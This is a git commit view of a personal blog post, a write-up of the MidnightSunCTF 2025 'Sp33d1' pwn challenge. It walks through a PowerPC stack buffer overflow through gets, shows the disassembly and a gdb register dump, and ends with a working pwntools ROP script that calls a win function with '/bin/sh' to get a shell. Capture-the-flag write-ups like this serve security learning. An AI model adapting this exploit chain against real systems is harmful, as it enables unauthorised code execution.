summaryrefslogtreecommitdiff
path: root/trees/blog/midnightsunctf-2025.typ
diff options
context:
space:
mode:
authorGabriel Schneider <[email protected]>2026-03-26 16:23:24 -0300
committerGabriel Schneider <[email protected]>2026-03-27 13:48:42 -0300
commit7c32657002fca2c7e2195d789b1b11e3071d79a2 (patch)
tree6ee80577abce9f16251b3b8c642ae290ad8084b7 /trees/blog/midnightsunctf-2025.typ
parentc5388feaf9a3bc57070af7c75d03c88bc4fbda4a (diff)
download0x4200.cafe-7c32657002fca2c7e2195d789b1b11e3071d79a2.tar.gz
0x4200.cafe-7c32657002fca2c7e2195d789b1b11e3071d79a2.zip
Squashed older blog files
Diffstat (limited to 'trees/blog/midnightsunctf-2025.typ')
-rw-r--r--trees/blog/midnightsunctf-2025.typ178
1 files changed, 178 insertions, 0 deletions
diff --git a/trees/blog/midnightsunctf-2025.typ b/trees/blog/midnightsunctf-2025.typ
new file mode 100644
index 0000000..316971c
--- /dev/null
+++ b/trees/blog/midnightsunctf-2025.typ
@@ -0,0 +1,178 @@
+#import "./html_elements.typ": post
+
+#show: post
+
+// +++
+// title = 'MidnightSunCTF 2025 - Sp33d1'
+// date = 2025-05-18T18:00:02-03:00
+// tags = ['pwn', 'ctf']
+// draft = false
+// +++
+
+= Sp33d1
+
+This was a speedpwn challenge. I unfortunately wasn't able to play the CTF, it
+only lasted 24h and I was busy the whole saturday, some kind of shabbos you can say.
+
+
+This is a powerpc ROP challenge. Below is the disassembly of the `main`
+function. The vulnerability is that we have a `gets` that stores a string of
+any length in a stack variable, giving us a stack buffer overflow.
+
+
+
+```asm
+; > PowerPC ELF32 2's complement, big endian
+; RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
+; Full RELRO No canary found NX enabled No PIE N/A N/A 2043 Symbols N/A 0 0 sp33d1
+
+stwu r1, -0x20(r1)
+mflr r0
+stw r0, 0x24(r1)
+stw r31, 0x1c(r1)
+mr r31, r1
+lis r9, 0x100c
+lwz r9, 0x1210(r9) ; 0x100c0278
+ ; obj._IO_2_1_stdin_
+li r6, 0 ; size_t size
+li r5, 2 ; int mode
+li r4, 0 ; char *buf
+mr r3, r9 ; FILE*stream
+bl sym.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
+lis r9, 0x100c
+lwz r9, 0x120c(r9) ; 0x100c0148
+ ; obj._IO_2_1_stdout_
+li r6, 0 ; size_t size
+li r5, 2 ; int mode
+li r4, 0 ; char *buf
+mr r3, r9 ; FILE*stream
+bl sym.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
+li r3, 0x3c
+bl sym.alarm
+bl sym.banner
+lis r9, 0x1007
+addi r3, r9, 0x6f70 ; int32_t arg1
+crclr cr1eq
+bl sym.__printf
+addi r9, r31, 8
+mr r3, r9 ; char *s
+crclr cr1eq
+bl sym.gets ; char *gets(char *s)
+li r9, 0
+mr r3, r9
+addi r11, r31, 0x20
+lwz r0, 4(r11)
+mtlr r0
+lwz r31, -4(r11)
+mr r1, r11
+blr
+```
+
+
+Note that at the function's epilogue we have:
+
+- `lwz r0, 4(r11)` > load `r11[4]` to `r0`
+- `mtlr r0` > move `r0` to link register
+- `blr` > branch to link register
+
+In gdb those are the registers right at the function's epilogue. By
+sending an input with `cyclic(0x100)` we can see that we control:
+
+- R0
+- R1
+- R11
+- R31
+- LR
+
+```asm
+ R0 0x68616161 ('haaa')
+*R1 0x407ff8d0 ◂— 0x67616161 ('gaaa')
+ R2 0x100cc580 ◂— 0
+ R3 0
+ R4 0x100c02bf (_IO_2_1_stdin_+71) ◂— 0xa100c1c
+ R5 1
+ R6 0xa
+ R7 0x100c02c0 (_IO_2_1_stdin_+72) —▸ 0x100c1c08 (_IO_stdfile_0_lock) ◂— 0
+ R8 0x100c0278 (_IO_2_1_stdin_) ◂— 0xfbad208b
+ R9 0
+ R10 1
+ R11 0x407ff8d0 ◂— 0x67616161 ('gaaa')
+ R12 0x40000222 ◂— 0
+ R13 0x100c91f8 ◂— 0
+ R14 0
+ R15 0
+ R16 0
+ R17 0
+ R18 0
+ R19 0
+ R20 0
+ R21 0x100c0000 —▸ 0x100c91f8 ◂— 0
+ R22 0x10000634 (main) ◂— stwu r1, -0x20(r1)
+ R23 0x100c12c8 (environ) —▸ 0x407ffb4c —▸ 0x407ffd09 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus'
+ R24 0x10000138 (_init) ◂— stwu r1, -0x10(r1)
+ R25 0x100bcdb4 —▸ 0x100c0d14 (_nl_global_locale+16) —▸ 0x100bd8b4 (_nl_C_LC_MONETARY) —▸ 0x100c1268 (_nl_C_name) ◂— 0x43000000 /* 'C' */
+ R26 0x407ffb4c —▸ 0x407ffd09 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus'
+ R27 0x407ffc2c ◂— 0x16
+ R28 0x407ffb44 —▸ 0x407ffd00 ◂— './sp33d1'
+ R29 1
+ R30 0x100bfff0 (_GLOBAL_OFFSET_TABLE_) ◂— 0
+ R31 0x66616161 ('faaa')
+ CR 0x20000222
+ CTR 0x10014b00 (_IO_file_read) ◂— stwu r1, -0x10(r1)
+*SP 0x407ff8d0 ◂— 0x67616161 ('gaaa')
+ LR 0x68616161 ('haaa')
+*PC 0x100006c8 (main+148) ◂— blr
+```
+
+Given that, we control the execution flow and can start ROP'ing.
+
+There a a few things that make our life easier:
+
+- there's no PIE.
+- the ELF is statically linked.
+- we have the `/bin/sh` string at `0x10077a8c`
+- we have the `win` function at `0x100005f8` which calls system
+
+
+The only thing we need to do is to setup the `/bin/sh` as the first argument,
+and then go to `win`.
+
+I tried using `ROPGadget` but it didn't work with the ppc ELF, even though it's
+supported, instead of trying to fix it, I just tried with `ropper` and it
+worked.
+
+Most gadgets found by the tool look like this:
+
+- 0x100716e4: add r1, r1, r10; blr;
+
+This is different that I'm used to do when ROP'ing, since x64 the `ret`
+instruction can be used to chain our ROP. Below is the full solution:
+
+
+```python
+
+from pwn import *
+
+context(arch='PowerPC', bits=32, endian='big')
+
+#io = remote('sp33d.play.hfsc.tf', 20020)
+#io = gdb.debug('./sp33d1', 'b main')
+io = process('./sp33d1')
+
+set_r3 = 0x100712b4 # lwz r3, 0x10(r1); lwz r0, 0x24(r1); lwz r30, 0x18(r1); addi r1, r1, 0x20; mtlr r0; blr;
+
+win = 0x100005f8
+bin_sh = 0x10077a8c
+
+io.sendline(flat([
+ b'a' * 0x1c,
+ p32(set_r3 + 2),
+ p32(win + 2),
+ b'b' * 4,
+ p32(bin_sh),
+ b'c' * 0x10,
+ p32(win),
+]))
+
+io.interactive()
+```